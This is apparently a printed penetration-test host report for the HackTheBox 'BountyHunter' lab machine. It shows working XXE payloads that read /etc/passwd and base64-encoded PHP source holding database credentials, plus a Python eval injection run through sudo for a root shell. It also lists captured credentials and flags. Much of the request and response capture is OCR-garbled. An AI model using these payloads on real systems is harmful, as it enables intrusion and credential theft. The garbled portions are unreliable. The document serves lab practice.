1/16/22, 12:21 PM Host Report - PenTest. WS

Host Report

10.10.11.100 - Linux 4.15-5.6
A Linux - Shelled - Owned

Host Notes:

User.txt = b43b790898bcc4bab2e13632f8c89260
Root.txt = Obc2e02e92bfff4eed4aed1e7a3507 1cf

Ports:
Port Proto Service Version Status
22 tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; Owned
protocol 2.0)
Port Notes:

SSH credentials development:m19Ro0AUOhP41A1sTsq6K
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Port Proto Service Version Status

—( )-[ ~/Desktop/HTB/BountyHunter |

—5 ssh development@l@.10.11.100

The authenticity of host '10.10.11.100 (10.10.11.100)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69dOVEILTmgO@LRRINsR1fXxArJ+KNoNFQ.
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.100' (ED25519) to the list of known hosts.
development®l@.10.11.100"'s password:

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sun 16 Jan 2022 05:12:00 PM UTC

System load: 0.0 Processes: 215

Usage of /: 24.1% of 6.83GB Users logged in: 0

Memory usage: 15% IPv4 address for eth@: 10.10.11.100
Swap usage: 0%

updates can be applied immediately.

The 1list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ cat user.txt
b43b790898bcc4bab2e13632f8c89260
development@bountyhunter:~$% I

development@bountyhunter:~$ cat user.txt
b43b790898bcc4ba62e13632f8c89260

development@bountyhunter:~$ sudo -1
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
developmentabountyhunter:~$ I

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
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print("wWrong file type.")
exit()

def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if 1 = @:
if not x.startswith("# Skytrain Inc"):
return False
continue
if 1 = 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' *)[3:1)}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i = code_line:
if not x.startswith("*"):
return False
ticketCode = x.replace("#x", "").split("+")[0]

if int(ticketCode) % 7 = 4:
validationNumber = eval(x.replace("*x", ""))
if validationNumber > 100:
return True
else:
return False
return False

main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("valid ticket.")
else:
print("Invalid ticket.")
ticket.close

main()
developmentg@bountyhunter:~$ I

Ticket must end in a .md extension, include Skytrain Inc, and include Ticket to <something>.
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Port Proto Service Version Status

ticket.md

# Skytrain Inc

## Ticket to Root

__Ticket Code:___

**179+ 25 == 204 and __import__ (‘os').system('/bin/bash') == True

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md

Destination: Root
root@bountyhunter:/home/development# whoami

root
root@bountyhunter:/home/development# hostname

bountyhunter
root@bountyhunter:/home/development# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.100 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff.feb9:a921 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:a9:21 txqueuelen 1000 (Ethernet)

RX packets 371287 bytes 52803021 (52.8 MB)

RX errors 0 dropped 49 overruns 0 frame O

TX packets 366925 bytes 158701563 (158.7 MB)

TX errors 0 dropped 0 overruns O carrier 0 collisions O

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 11848 bytes 941506 (941.5 KB)
RX errors 0 dropped 0 overruns O frame O
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Port Proto Service Version Status

TX packets 11848 bytes 941506 (941.5 KB)

TX errors 0 dropped 0 overruns O carrier 0 collisions 0
root@bountyhunter:/home/development# cat /root/root.txt
Obc2e02e92bfffAeedaed1e7a35071cf

developmentgbountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md
Destination: Root
rootgbountyhunter: /home/development# whoami
root
root@bountyhunter:/home/development# hostname
bountyhunter
rootgbountyhunter:/home/development# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.100 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb9:a921 prefixlen 64 scopeid ©0x20<link>
ether 00:50:56:b9:a9:21 txqueuelen 1000 (Ethernet)
RX packets 371287 bytes 52803021 (52.8 MB)
RX errors @ dropped 49 overruns @ frame 0

TX packets 366925 bytes 158701563 (158.7 MB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 11848 bytes 941506 (941.5 KB)
RX errors 0 dropped @ overruns @ frame @
TX packets 11848 bytes 941506 (941.5 KB)
TX errors 0 dropped @ overruns @ carrier @ collisions 0

root@bountyhunter: /home/development# cat /root/root.txt
0bc2e02e92bfff4eetaedle7a35071cf
rootgbountyhunter: /home/development# I

53 udp domain

67 udp dhcps

68 udp dhcpc

69 udp tftp

80 tcp http Apache httpd 2.4.41 ((Ubuntu)) Owned

Port Notes:
/.htaccess (Status: 403) [Size: 277]
/.htpasswd.js (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
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Port Proto Service Version
/.htpasswd (Status: 403) [Size: 277]

/.htaccess.js (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/.htaccess.html (Status: 403) [Size: 277]

/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]

/db.php (Status: 200) [Size: 0]

/index.php (Status: 200) [Size: 25169]

ljs (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]

/portal.php (Status: 200) [Size: 125]

/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]

/server-status (Status: 403) [Size: 277]

—(kali%kali)-[~/Desktop/HTB/BountyHunter]
L—$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.11.100/resources -x

php,txt,html,js

Gobuster v3.1.0

Host Report - PenTest. WS

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.11.100/resources

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Extensions: txt,html,js,php

[+] Timeout: 10s

/.htaccess.js (Status: 403) [Size: 277]

/.htpasswd (Status: 403) [Size: 277]
/.htpasswd.js (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]

/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
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Port Proto Service Version Status

/.htaccess.html (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/README..txt (Status: 200) [Size: 210]
/all.js (Status: 200) [Size: 1194961]

—(kali%skali)-[~]
L—$ curl http://10.10.11.100/resources/README .txt
Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script

[ ] Connect tracker submit script to the database

[X] Fix developer group permissions

http://10.10.11.100/log_submit.php found by visiting portal.php. Page is vulnerable to XXE
attacks.

Users enumerated using:

<?xml version="1.0" encoding="ISO-8859-1"7?>
<IDOCTYPE data |

<IENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>

<title>abcd</title>

<cwe>abcd</cwe>

<cvss>abcd</cvss>

<reward>&file;</reward>

</bugreport>
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Port

Proto Service

posy, ereckan i erootang e TP/

2 Host: 10.10.11. 10

3 Content.Length! 857

1\ Accept: ¥/*

5 X-Requested-With:
6 User-Agent: Mozilla/s.0 (Windows NT 10.0; Win6d;

Content-Type: application/x-waw-form-urlencoded; charset=UrF-8
//10.10.11.100

0 Accapt-Encoding
Accept-Language:

12 Connection: close
1

XMLt tpRaquest

0:10.31.100/Log subn e
gzip, deflat;
08, emiaeo.

x64) ApplewiebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/s37.35

Host Report -

PenTest WS

Response

Raw Hex Render

1 HTTP/1.1 200 o
Date: Sun, 16 Jan 2022 16:55:

3 server: Apache/2.4.41 (Ubuntu)

Vary: Accept-Encading

Content-Length: 2102

5 Connectior

clos:
7 Content-Type: text/html; charset=Ure-8

5 1f DB were ready, would have added:

10 <table>
1 <tr>

%30uEZNaT

21 Gvr

root:/root: /bin/bash
daemun e11:daseen ey avinumngabnynclagn

usr/sbin/nologin
Uucp: /var/spool /uucp: /usr/sbin/nologin
bin: /usr/sbin/nologin
ta: /var /www: /usr/sbin/nologin

39:39:
gnats:x:4L:41:Cnats Bug-Reporting System (admin):/var/Lib/gnats: /usr/sbin/nologin
6553

nobody

534:nobody: /nonexi stent: /usr/sb)n/nclng
100 Network M

/nonexistent: /usr/sbin/nologin

1061 honegyileg: four/abininelogin

g :105:03534: . /nonristent; fusr/sbin/olog

tss o software stacks s, var/Uib/tpm: /bin/false

it 107 112 e ranpandds Jusrsbin/nologin

 /nonexistent: /usr/sbin/nologin

Teaeita 411001 Liss ar bR pdseaia A AR N aat
10:1: :/var/cache/pollinate: /bin/false

65534: 1 /run/sshd: /usr/sbin/nologin

Core Durpe

/bin/bash

DB creds discovered using
<?xml version="1.0" encoding="1SO-8859-1"7?>

<IDOCTYPE data [

</tr
51 </table>

0:
ix 0 var/;nap/\xd/cummun/lxd Jbin/false
usbrux:x:112:46:usbmux daemon, ,, :/var/Lib/usbmux: /usr/sbin/nologin
ss <t

<IENTITY file SYSTEM "php://filter/read=convert.base64-

encode/resource=/var/www/html/db.php"> ]>

<bugreport>
<title>abcd</title>

<cwe>abcd</cwe>
<cvss>abcd</cvss>
<reward>&file;</reward>

</bugreport>

Wsprequet

< sor Agenc: Bozil1a/5.0 Urindors 1T 50.0; Wit x64) Applabebiit/s37.56 (G, Like Gocko) Chrone/o6.0-4684.45 Safari /567,35

Content-Typa: spslication/x-wwe-form urlancodsd; charse

100/Log_subma .php
Flace

2 comectio

14 datas

https://pentest.ws/print/host/7aBY 1Qjo

Lose
Content-Type: text/htal; charsst-UF.s

I 08 were ready, would have added:
“tablen

Status

17cisky

8/10



1/16/22,12:21 PM

Port

Proto Service

Version

Sequencer  Decoder  Comparer  Logger

Host Report - PenTest. WS

Status

DB creds admin:m19R0oAUOhP41A1sTsq6K

C

123

135

137

138

139

161

162

445

500

514

520

631

1434

1900

4500

udp
udp
udp

udp

udp

udp
udp

udp

udp
udp
udp
udp
udp
udp

udp

ntp
msrpc
netbios-ns

netbios-
dgm

netbios-
ssn

snmp
snmptrap

microsoft-
ds

isakmp
syslog
route

ipp
ms-sql-m
upnp

nat-t-ike
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Port Proto Service

49152 udp unknown

Credentials:

Service Username

SSH development

https://pentest.ws/print/host/7aBY 1Qjo

Version

Password

Host Report - PenTest. WS

M19R0AUONhP41A1sTsq6K

Full Name

Status

Hash
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